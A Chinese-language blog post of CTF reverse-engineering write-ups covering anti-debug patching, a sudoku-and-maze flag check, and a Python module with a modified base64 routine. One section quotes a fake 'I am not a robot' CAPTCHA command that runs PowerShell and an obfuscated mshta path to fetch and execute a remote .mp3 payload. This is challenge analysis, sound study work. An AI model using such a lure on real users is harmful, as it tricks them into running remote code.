8

[LilCTF]Qt_Creator

这道题感觉捷径是视奸作者的博客

在03篇提到了这个register

image

看到这个就知道是明文对比,通过ciallo找到这个函数

前面有反调试

image

patch一下

image

image

a1就是flag

其实看函数的话用ida9和博客几乎一样,但是我ida9无法调试出来

image

image

这个样子我真的没招了

[LilCTF]1'M no7 A rO6oT

参考wp:http://20.2.36.130/2025/08/18/lilctf2025-qwer-writeup/#toc-head-3

https://2hi5hu.cn/archives/lilctf2025#1m-no7-a-ro6ot

https://blog.rkk.moe/2025/08/18/LilCTF-2025-Writeup/#1’M-no7-A-rO6oT

此题展现ai神力,一步步还原

image

点击验证会复制下面的内容,或者直接查看都能看到mp3文件

powershell . \*i*\\\\\\\\\\\\\\\*2\msh*e http://gz.imxbt.cn:20083/Coloringoutomic_Host.mp3 http://gz.imxbt.cn:20083/Coloringoutomic_Host.mp3 # ✅ Ι am nοt a rοbοt: CAPTCHA Verification ID: 10086

下载文件

image

文件内部有script代码

image

控制台运行查看SxhM,每个数减601,再解

image

hex异或204

image

有一张图片

image

查看文件内容又是可经过混淆的

image

[KCTF 2024]第二题 星际生物

ida打开是IL代码,换成dnspy,搜索main

image

验证flag{}格式

接下来是数独验证

$ArrayType$$$BY0EA@E $ArrayType$$$BY0EA@E;
cpblk(ref $ArrayType$$$BY0EA@E, ref $ArrayType$$$BY0BAA@D + 5, 64);//从内存位置$ArrayType$$$BY0BAA@D + 5复制64字节到$ArrayType$$$BY0EA@E

uint num = 0U;
uint num2 = 0U;
$ArrayType$$$BY188E* ptr2 = &<Module>.sudoku;
do
{
    uint num3 = 0U;
    $ArrayType$$$BY188E* ptr3 = ptr2;
    do
    {
        if (*(byte*)ptr3 == 15)  // 如果当前单元格是占位符(15)
        {
            byte b = *((ulong)num + ref $ArrayType$$$BY0EA@E);  // 从输入中读取一个字符
            if (b < 48 || b > 57)  // 如果不是数字(ASCII '0'到'9')
            {
                goto IL_109;  // 跳转到错误处理(未显示)
            }
            *(byte*)ptr3 = b - 48;  // 将ASCII数字转换为实际数字(0-9)
            num += 1U;  // 移动到输入的下一个字符
        }
        num3 += 1U;
        ptr3 += 1;  // 移动到下一列
    }
    while (num3 < 9U);  // 遍历一行中的9列
    num2 += 1U;
    ptr2 += 9;  // 移动到下一行
}
while (num2 < 9U);  // 遍历9行

//检查行有效性

uint num4 = 1U;  // 假设有效
// ... 初始化变量 ...
while (num4 == 1U)  // 如果仍然有效
{
    // 对于每一行...
    long num8 = 0L;
    uint num9 = 1U;
    while (num4 == 1U)
    {
        uint num10 = num9;
        if (num9 < 9U)
        {
            long num11 = (long)((ulong)num9);
            byte b2 = *(num7 + num8 + ref <Module>.sudoku);  // 获取当前单元格的值
            num4 = 1U;
            $ArrayType$$$BY188E* ptr4 = num7 + num11 + ref <Module>.sudoku;
            // 检查同一行中是否有重复数字
            while (b2 != *(byte*)ptr4)  // 如果不重复,继续检查
            {
                num10 += 1U;
                ptr4 += 1;
                if (num10 >= 9U)  // 如果没有找到重复,退出内层循环
                {
                    goto IL_17F;
                }
            }
            num4 = 0U;  // 找到重复,标记为无效
        }
        IL_17F:
        num9 += 1U;
        num8 += 1L;
        if (num9 - 1U >= 9U)  // 遍历完一行?
            break;
    }
    num6 += 1U;
    num7 += 9L;  // 移动到下一行
    if (num6 >= 9U)  // 遍历完所有行?
        break;
}

//检查列有效性

uint num12 = 0U;
long num13 = 0L;
while (num5 == 1U)  // 如果仍然有效
{
    // 对于每一列...
    uint num14 = 1U;
    $ArrayType$$$BY188E* ptr5 = num13 + ref <Module>.sudoku;  // 指向当前列第一行
    while (num5 == 1U)
    {
        uint num15 = num14;
        if (num14 < 9U)
        {
            $ArrayType$$$BY188E* ptr6 = num14;
            byte b3 = *(byte*)ptr5;  // 获取当前单元格的值
            num5 = 1U;
            $ArrayType$$$BY188E* ptr7 = ptr6 * 9L + num13 / ... + ref <Module>.sudoku;  // 计算同一列中下一行的位置
            // 检查同一列中是否有重复数字
            while (b3 != *(byte*)ptr7)  // 如果不重复,继续检查
            {
                num15 += 1U;
                ptr7 += 9;  // 移动到下一行
                if (num15 >= 9U)  // 如果没有找到重复,退出
                {
                    goto IL_209;
                }
            }
            num5 = 0U;  // 找到重复,标记无效
        }
        IL_209:
        num14 += 1U;
        ptr5 += 9;  // 移动到下一行(同一列)
        if (num14 - 1U >= 9U)  // 遍历完一列?
            break;
    }
    num12 += 1U;
    num13 += 1L;  // 移动到下一列
    if (num12 >= 9U)  // 遍历完所有列?
        break;
}

查看sudoku对应的初始值

image

偏移0x10800

image

求解数独

image

34689155813271746868579324125982187492581517263447389126

image

创建迷宫

image

'''
33 !;43 +;45 -;63 ?

!-?+
++-+
-+++
+--+
'''

用ADSW走迷宫,'-'不能走,最终要走到'?'

'SDSDDWWA'

flag:'flag{34689155813271746868579324125982187492581517263447389126SDSDDWWA}'

[KCTF 2024] 第四题 神秘信号

常规解包,反编译main.pyc

import CrackMe
while True:
    print('(账号密码由字母大小写、数字、!、空格组成)')
    print('请输入账号:')
    h = input()
    z = CrackMe.main(h)
    if len(z) < 20:
        key = 'dZpKdrsiB6cndrGY' + z
    else:
        key = z[0:4] + 'dZpK' + z[4:8] + 'drsi' + z[8:12] + 'B6cn' + z[12:16] + 'drGY' + z[16:]
    print('请输入验证码:')
    h = input()
    m = CrackMe.main(h)
    if key == m:
        print('Success')
        break
    print('Fail')

输入账号->CrackMe.main处理->组合成key->比较

如果解题的话就已经出来了

账号:D7C4197AF0806891
验证码:D7CHel419lo 7AFWor080ld!6891

观察发现3个一组,将Hello World!与账号结合

     h = input()
     z = CrackMe.main(h)

加入h长度位3,z长度为4,所以 KCTF 经过变化长度小于20,那验证码为'Hello World!KCTF'

常规一点:

参考:https://bbs.kanxue.com/thread-283037.htm

运行main.exe,用Process Monitor查看进程

image

看到这里被加载?(运行?),可以用这两个文件注入,将原来的pyd删除,再补上自己的py文件

import CrackMe
print(CrackMe)

运行main.exe,查看模块对象信息

image

发现是base64.pyc,反编译

image

在末尾有自定义内容,这也是这里的base64.py比标准的多了一个'a',为了保证结果准确,用py文件的hook并且dump出来

import CrackMe
 
import marshal
import importlib
 
code = CrackMe.main.__code__
 
marshal_data = marshal.dumps(code)
pyc_data = importlib._bootstrap_external._code_to_timestamp_pyc(code)
 
with open("crackme_main.marshal", "wb") as f:
    f.write(marshal_data)
 
with open("crackme_main.pyc", "wb") as f:
    f.write(pyc_data)

反编译得到的pyc

encoded_str = ''
padding = 0
base64_chars = 'ZQ+U7tSBEKVzyf5coCwb94Dd6raT0eLNin12Hp8mOxFuvMgIPlhRY3WjksqJAXG/' #修改编码表
ww = b''
for i in data:
    i = i ^ 85 #异或
    ww = ww + i.to_bytes(1, 'little')
data = ww
for i in range(0, len(data), 3):
    chunk = data[i:i + 3]

    def (.0):
        """08b"""  # inserted
        if False: yield  # inserted
        return .0((format(byte, '08b') for byte in 1))
    for j in range(0, len(binary_str), 6):
        six_bits = binary_str[j:j + 6]
        if len(six_bits) < 6:
            padding += 6 - len(six_bits)
            six_bits += '0' * (6 - len(six_bits))
        encoded_str += base64_chars[int(six_bits, 2)]
encoded_str += '!' * (padding // 2) #用'!'填充
for i in range(len(encoded_str) // 2):#两两交换位置
    a = encoded_str[i * 2]
    b = encoded_str[i * 2 + 1]
    encoded_str = encoded_str[:i * 2] + b + a + encoded_str[i * 2 + 2:]

但是还是不对,后面有点太深入了,就没有继续

codecs.pyc反编译也能证明当输入import CrackMe就会 变成import base64

_find_and_load_unlocked:导入机制核心内部函数,根据模块名(name)找到并实际加载(load)模块

posted @ 2025-08-24 22:17  zzz222666  阅读(19)  评论(0)    收藏  举报